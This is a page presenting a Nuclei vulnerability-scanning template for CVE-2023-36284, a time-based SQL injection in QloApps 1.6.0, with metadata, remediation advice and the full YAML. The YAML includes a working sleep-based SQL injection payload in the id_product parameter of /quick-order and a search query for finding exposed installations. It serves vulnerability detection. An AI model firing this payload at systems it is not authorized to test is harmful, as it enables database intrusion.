QloApps 1.6.0 - SQL Injection

ID: CVE-2023-36284

Severity: high

Author: ritikchaddha

Tags: time-based-sqli,cve,cve2023,qloapps,sqli,webkul

Description

An unauthenticated Time-Based SQL injection found in Webkul QloApps 1.6.0 via GET parameters date_from, date_to, and id_product allows a remote attacker to retrieve the contents of an entire database.

YAML Source

id: CVE-2023-36284

info:
  name: QloApps 1.6.0 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    An unauthenticated Time-Based SQL injection found in Webkul QloApps 1.6.0 via GET parameters date_from, date_to, and id_product allows a remote attacker to retrieve the contents of an entire database.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://flashy-lemonade-192.notion.site/Time-Based-SQL-injection-in-QloApps-1-6-0-be3ed1bdaf784a77b45dc6898a2de17e
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-36284
    cwe-id: CWE-89
    epss-score: 0.00721
    epss-percentile: 0.80577
    cpe: cpe:2.3:a:webkul:qloapps:1.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: webkul
    product: qloapps
    fofa-query:
      - "title=\"QloApps\""
      - title="qloapps"
  tags: time-based-sqli,cve,cve2023,qloapps,sqli,webkul
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/2
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        internal: true
        words:
          - "QloApps"
        case-insensitive: true

  - raw:
      - |
        @timeout: 20s
        GET /quick-order?date_from=2023-06-12%2000:00:00&date_to=2023-06-13%2000:00:00&deleteFromOrderLine=1&id_product=(select(0)from(select(sleep(5)))v) HTTP/2
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=5
          - 'contains(body, "<span>Guest Information")'
        condition: and
# digest: 4b0a00483046022100ec6be9a2eddcc2c085d1ba2f525d0a77bfa586c86dde8d363a5ef0a86fcc77360221008872eed52d0c3029a3dbf522d822eaf427a223350f781e06395e5533efbed0fb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-36284.yaml"

View on Github